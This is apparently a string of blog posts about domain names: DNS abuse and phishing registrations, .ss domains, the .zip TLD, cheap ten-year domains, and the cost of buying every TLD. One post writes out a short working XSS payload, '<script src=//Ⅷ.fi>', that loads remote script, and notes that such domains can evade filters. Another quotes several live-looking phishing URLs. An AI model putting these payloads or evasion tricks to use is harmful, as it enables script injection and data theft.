You know it is a scam. Most people just mark as spam and move on with their day. But a significant number of people don't. They hastily visit the site, tap in their credit card details, give it their mother's maiden name, confirm address, upload a nude selfie, and only then realise that they've been had.

The Internet works at pretty close to the speed of light. You can register a .uk domain and a minute later it's accessible from the other side of the planet. Brilliant for users who want to quickly launch a website. Also brilliant for abusers who want to launch a spam campaign.

By the time enough people have reported the scammers' domain as suspicious, it is too late. In the time it takes for a registrar to disable the domain, or for its name to make its way to the Safe Browsing List, a million messages have already been sent and enough people have handed over their details.

We're told that "the purpose of a system is what it does". At the moment, the Domain Name System's purpose seems to be a vector for criminals to run scams on people at a terrifyingly high rate.

How big is this problem?

BIG!

There's a great blog post by Andrew Campling which reports on this startling claim:

The study found that at least 10% of all new gTLD domain names registered during the year had subsequently appeared on security blocklists by the time of analysis. It estimated that, taking account of subsequent blocklisting and associated domains not themselves blocklisted, the share of names registered by malicious actors may be closer to 20%.

DNS Abuse and Criminal Infrastructure: Beyond Definitions and Blocklists (emphasis added)

That links to a presentation by Interisle which contains some rather shocking statistics (albeit with disputed methodology). It looks at generic Top Level Domains (gTLD) - those are things like .com and .fun rather than country code TLDs (ccTLD) like .uk and .de.

It says 85 million new registrations of gTLDs were made in 2025. Of those 8.5 million were added to blocklists by May 2025. It reckons that a 10% abuse rate is the likely floor for these numbers and it's probably closer to 20%. One in five newly registered domains with a gTLD are scams. That's a bloody crisis.

13 TLDs had more than 50% of their registrations blocklisted.

I can understand why .bid and .loan are popular with scammers. But why .mobi?! What did I ever do to you, eh?

Who are the scammers registering these through?

Ah, our old friends at NameCheap. See Why do scammers love NameCheap?

If those five registrars had more effective policies, it might significantly dent the scammers' ability to ply their devious wares. Or they might just move on to other registrars.

As the report points out:

suspension rates for blocklisted domains were 7.4% to 16.3%.

The full report is on the Interisle website.

What can be done?

I don't know.

In the first instance, it might make sense for registrars to do strong Know Your Customer (KYC) checks on anyone buying a domain. But that stops anyone who wants to anonymously register I-Hate-Nintendo.whatever without risking the wrath of Intellectual Property lawyers.

Also, criminals have access to stolen money and stolen cards. They can convince a hapless mule to register a domain on the criminals' behalf.

Registrars could ask for an escrow payment. Pay €9 for the domain name put €900 in escrow. If your domain appears on a blocklist within the year, you forfeit the money. Criminals with stolen funds are unlikely to care but it would probably put off lots of people from getting a new domain.

There are various banned words and phrases depending on the TLD. For example, South Sudan has a list of political words which they don't want associated with their .ss ccTLD.

But if one gTLD bans a word, a different one might not. A scammer doesn't care if the gTLD is .arse or .elbow - they just want the start of the domain to look legitimate.

Some registrars have strings that they don't allow. In fairness to NameCheap, when I tried to register dwp-payments-gov-uk.pizza it told me that domain was banned. It wouldn't let me get any gTLD with that name.

But all it takes is one registrar to be slightly lax and the scammers get through. Increasing the complexity of the rules is also a hell of a burden on smaller registrars.

Besides, it's pretty easy to get a generic enough looking domain and stick the confusing bit on a subdomain. Here are a clutch mentioned in the report:

• https://gov.uk-dwpaph.bond/uk/
• https://gov.uk-dwpcjh.bond/uk/
• https://gov.uk-dwpclc.bond/uk
• https://gov.uk-dwpclw.bond/uk
• https://gov.uk-dwpclj.bond/uk/

Perhaps there ought to be a delay before a new domain goes live to allow people to object to it? That would give governments, banks, delivery companies, and a dozen more "important" organisations a right to veto any "dodgy" looking domain.

But suppose someone wants to register gov-uk-stole-my-horse.horse to protest the government's cruel policy of stealing horses - is that a legitimate use of a domain? What if the Darwin Pensioner Divas - a group of elderly singers - want to take payments for their new album of goth/punk covers, can the DPD delivery company veto dpd-payments.music?

Do we want a domain name system where powerful companies control exactly which domains we can register? If I have an idea for a domain on a Friday night do I have to wait until Monday before it can be launched? Are those companies realistically able to parse millions of domains per year and have a low false-positive rate?

All of these things are possible - but all of them come with an impact on legitimate users. To be clear, I don't know what the right answer is.

What is ICANN doing about it?

Lots! It has been a few years since I've been to an ICANN meeting, but even back then the topic of abuse was high on the agenda. They appear to be looking at ways to coordinate abuse reports between various entities, along with some other policies which should hopefully work.

There are two salient points from one of the discussions held at the recent meeting

If anybody thinks that in our current age of AI and as we move into different kinds of computing, DNS abuse is going to numerically stay steady and we will have a downward effect on that baseline 2027 number. I'm not sure that that's an accurate assumption. I think it's going to be the other thing, which is […] it's going to be easier to abuse the DNS.

And

Abusers are going to abuse because it's just too lucrative, because no matter what we do, they will find the way to make profit off of that, and will try to circumvent everything that we do. That is not a reason not to do it, though.

Quite!

As I said, I don't know the answer to this. What I do know is, much like Android's app ecosystem being a haven for scammers, DNS is facing a crisis. When trust in a system goes, only chaos follows.

I don't want to live in a world where I have to show my passport and pay thousands of pounds to register a domain which is only available after being vetted by private interests. But I also don't want to live in a world where scammers have effectively no deterrent from abusing millions of people.

The purpose of a system is what it does. I hope DNS's purpose can become less dangerous while still remaining open.

Long-time readers of this blog will know that it's possible to register .me.ss domain names - there are various other 3rd level domains you can buy.

But, from the 1st of August 2024, you'll be able to apply for a 2nd level. So you'll be able to grab example.ss.

Here's the official announcement.

As per normal for a new TLD, there will be a period where organisations with Trade Marks can register their domains. Then a period where anyone with sufficient cash can register their cool idea for a domain. Then it opens up to everyone.

So what will they cost? Afriregister provided these prices:

For comparison, their .me.ss domains are only €25.

Registrations will only be allowed in ASCII - which means no IDNs. The majority of the languages officially recognised in South Sudan appear to be written in the Latin script, so that shouldn't be a huge issue.

As is common with all other TLDs, there is a list of words which will not be allowed to be registered.

Applications will not be accepted for domain names appearing on the Second Level Domain (SLD) block list.

When I previously investigated this, there were lots of names which weren't available due to local politics. Although there is an archived version of the list of banned words (PDF), the modern SLD Block List appears to have vanished from the registry. I've asked them for an updated list which I'll link to once I get it.

I think it is fair to say that the .ss TLD has had a tumultuous history. There hasn't been much discussion of this change in policy since the announcement a few weeks ago - but I hope that this opening up will help South Sudanese people & businesses to establish their own distinct presence on the Internet.

The Internet uses Top Level Domains (TLD) to organise information into hierarchies. This website uses .mobi - you may also be familiar with .com for commercial entities, or .de for German pages.

The World Wide Web uses HyperText Markup Language (HTML) to structure web pages. For example <footer> to display a footer, or <ol> for an ordered list.

There is absolutely no relationship between the two sets of entities. But, just for fun, are there any HTML elements which happen to be false friends of the TLDs?

Before we go any further, have a quick think. How many do you reckon there are? Are there some which spring to mind immediately?

Obviously, the first port of call is AI. Its mastery of all things means that we can get an accurate answer in a nanosecond.

Oh.

Right, let's compare the Element Reference with the Root Zone Database.

There are fifteen current HTML elements which have a match with a TLD. And a couple which are deprecated. Here they are:

And the ones which are no longer valid HTML:

Is that more than you expected? Less? Are there others which you think should be TLDs? Should HTML get a <uk> element post-Brexit? Have I missed any?

Comments in the usual box.

You see computers try to be helpful. They see you wrote "visit example.com" and autolink the thing which looks like a domain name. That's handy - especially as most people don't have the time or skill to write HTML.

So what happens when things which are not domain names look like they are domain names? I've been worrying about this for a few years:

Terence Eden is on Mastodon

@edent

Grrr... Because .zip is a valid TLD, it's impossible to know whether example.zip should be a URL or a filename.

---

Right now there is an old tweet, blog, email, or instant message from an authority figure which points to a non-existent .zip domain.

Is that domain available to buy? Well, let's look at Google's Domain Availability site

(No, I don't know where the missing "T" is either.)

Yup! OK, premium domains like photos.zip appear to be about £1,000 - which should put off some scammers. But the price for non-premium .zips is between £10-£30.

Look, I doubt a former president ever Tweeted "Hey, anyone know how I extract files from something called blah.zip on a Mac?" but I'll bet you that something, somewhere, is going to be abused with this new TLD.

I feel like a curmudgeonly old fart. Don't we have enough TLDs? What's the limit? There are very few meaningful controls on who can register all but the most retrictive TLDs (looking at you, .int!) So at what point do we just give up and same everyone can have their own Top Level?

Anyway, have fun determining if the link you see was ever intended to link to a website!

So I recently started renewing them for as long as possible. It turns out that most domains can be registered for a maximum of 10 years⁰.

A typical .uk domain will set you back the thick end of a hundred quid if you want it for a decade! Can I find something cheaper?

There are some free domain services like freenom.com. They'll give you a .ml domain for free. But you'll have to log in every year if you want to renew it. And, as I recently found out, they will sometimes just take away your free name and try to charge you for it.

Similarly, .pp.ua offers free domains to people in Ukraine. They can only be registered for a single year at a time though.

If you want a Top Level Domain which you can renew for a decade, the cheapest appears to be .feedback which costs a smidge under £13 for 10 years.

But, of course, there is a catch! You have to use the .feedback website hosting service which, frankly, looks rubbish.

It doesn't seem to be receiving any updates. I've tried contacting them to see if any improvements are planned, but didn't receive a reply. You can't set your own nameservers, nor can you add MX records or anything useful like that.

The cheapest fully functional domain which you can register for a decade appears to be .cyou from Sav.com at about £23 (US$27.60).

Up next is .stream from Porkbun - you can buy a 10 year domain for ~£30 (US$35.60).

As pointed out on the HackerNews discussion on this post, you can register a .in domain for 10 years for £37.

So, there you have it. For between £23 - £40 you can buy a useful domain name which will stay registered to you for a decade. If you can find anything cheaper - please let me know in the comments.

Of course, paying for hosting for a decade is a different matter!

A few years ago, I tried to find a Minimum Viable XSS. The conclusion that I (and others) came to is that 20 characters is the bare minimum. But it requires you have a 2 character domain name on a 2-character TLD. Something like xy.uk

I don't think any 1- or 2-character domain names are available. If they're for sale, it will be at extortionate price. There are no Top-Level Domains shorter than 2 characters.

So, let's cheat!

This is the story of how I bought a single character domain, and am able to reference it in 3 characters, for the cost of a round of drinks.

Brief History

As I discussed in Domain hacks with unusual Unicode characters - there are a bunch of single Unicode codepoints which are normalised to 2- or 3-character sequences.

For example, ㎐ is the scientific symbol for Hertz. It is a single codepoint (U+3390). When your browser sees it in a domain name, it automatically splits it into the H and z characters. This is called decomposition.

Based on my count, there are about 90 symbols which decompose into 2 characters - for example ™, ㏄, dz. There are about 35 symbols which decompose into 3 characters - for example ㎪, ㍹, ffi.

But, as mentioned, it is almost impossible to find a cheap 2- or 3-letter domain name.

There are, however, a couple of four character decompositions!

Quidquid latine dictum sit, altum videtur

The Romans didn't use a positional number system. The number 1 was Ⅰ, the number 2 was Ⅱ, the number 9 was Ⅸ.

But - look closely! The Ⅰ is not the English letter I - it is its own, separate, Unicode character (U+2160). And Ⅱ is not two Ⅰs smushed together, it is (U+2161).

When decomposed, however, they return to English letters.

What's the longest Roman numeral captured in a single codepoint?

The number 8 is Ⅷ (U+2167) - which decomposes to V I I I. Four characters!

but apart from the sanitation, the medicine, education, wine, public order, irrigation, roads, a fresh water system, public health, and a number system suitable for character decomposition what have the Romans ever done for us?

tl;dr TLD

There are a number of Top-Level Domains which can also be represented by a single character.

For example, Australia's TLD .au can be represented by the Astronomical Unit sign ㍳ (U+3373).

Most of those domains were expensive, or unavailable. But I found one which was both cheap and available.

Yes! The orthographic ligature of fi decomposes to f and i. That's the TLD for Finland.

I was able to register a Finnish domain on Gandi for £15.

Ⅷ.fi🔗

That's Roman Numeral Eight (U+2167), dot (U+002E), Latin Small Ligature Fi (U+FB01).

Is this useful?

This gives me a Minimum Viable XSS in eighteen characters!

• <script src=//Ⅷ.fi>

I'm pretty sure that's the shortest possible sequence!

Or, for loading remote resources in 15 characters:

• <img src=//Ⅷ.fi>

There aren't many sites which are secured only by using a restricted character count - thankfully! But shrunk domains can also be useful for evading all sorts of filters.

Other domains are available

There's one other 4-character decomposition available - see if you can find it!
There are a few shrinkable TLDs which still have some of the 2- and 3-character domains available, but they are extortionately priced.

If you do grab one of these, and make something cool with it, please let me know.

Support this blog

If you've learned something from my blog posts, here's how you can return the favour:

• Buy me something nice from my Amazon wishlist
• Support me on Ko-Fi

tl;dr;tld

Over $300,000!

(Roughly €280.000 / £245,000.)

But...

This estimate is pretty rough. A few caveats:

1. This only covers one version of your domain name - it doesn't cover misspellings.
2. I've assumed a single year of registration. Some domains give discounts for multiple years, or only offer multi-year registration.
3. Some TLDs have a discount for the first year.
4. Some TLDs only let you register if you're a citizen of that country, or have a business presence there. I've assumed that you do.
5. There are several TLDs which only let you register using a specific language for your domain - for example Chinese domains require Chinese characters. I've assumed that you're buying one of those as well.
6. Some TLDs can't be registered - for example .gov, .mil, .int - they have been excluded.
7. Bulk domain purchases may result in a discount. I'm using retail pricing rather than wholesale.
8. Depending on where you live, different countries' prices and tax rates may vary considerably.

Data

It is surprisingly hard to find what the base cost is of all the domains. There are currently over 1,500 possible TLDs!

The number of domains available to register is even higher because some TLDs allow for 2nd level registration. For example, .org.uk, .co.uk, or .co.in, etc.

The Registry which controls a set of specific TLDs is more-or-less free to set any pricing policy they want. I couldn't find any official data for those policies. If you do know, please leave a comment.

Data Sources

The Registrar - the entity which sells you the domain - is free to set its own pricing. There are many retailers of domain names - let's look at some popular ones.

Cloudflare

Some, like Cloudflare promise to only charge you the wholesale cost, but refuse to tell you what the costs are unless you have a domain to transfer to them. They also only support 200 TLDs.

Google

Google supports 273 TLDs - but they do list prices for each one.

If you were to register a domain on all 273 TLDs it would cost you £8,550 per year!

Gandi

I looked at Gandi - who provide a full price list. Sadly, it is in PDF, so I had to use Tabula to extract the data. They sell 747 TLDs - from .abogado (£42) to .yt (£12).

If you bought every TLD that Gandi sell, it would cost you a whopping £92,131.08!

Fun fact: Gandi's most expensive domain is .makeup for £7,146.76.

101domains

According to TLD List, the registrar with the most TLDs offered is 101domains with 1,836 possible names!

There is an API available for 101domains pricelist! You can parse through it alphabetically using:

https://www.101domain.com/price_list_service.json?o=B

And grab the International Domain Names with:

https://www.101domain.com/price_list_service.json?o=IDNs

Sadly, it doesn't list all domains on one call, so you have to grab each one. It only provides prices in USD.

But, when you add up all the domain names provided, the total cost to register them all would be $311,852.42!

The most expensive TLD on 101domains is .hoteles for $65,000!

What's the point?

It's unlikely that anyone would actually go ahead and do this. You'd need more money than sense if you wanted to protect your brand across every domain. It's probably cheaper to register a name once and then issue legal threats against anyone registering your name on an obscure TLD.

It costs $185,000 to own your own TLD. Plus you also have to show that you have the resources to maintain it.

That's exactly what Sony did. They bought the .xperia TLD - presumably so that they wouldn't have to register domains in every country. But, as Ben Cox pointed out, they then dropped it.

Ben Cox (EOL @benjojo@benjojo.co.uk)

@Benjojo12

Sony deleted a TLD, a whole TLD.

This is a strange future. x.com/ianawhois/stat…

IANA whois updates

@ianawhois

IANA whois: deleted TLD XPERIA iana.org/domains/root/d…

---

---

So, $185k to run your own domain - or $300k to buy your domain name everywhere. Which would you choose?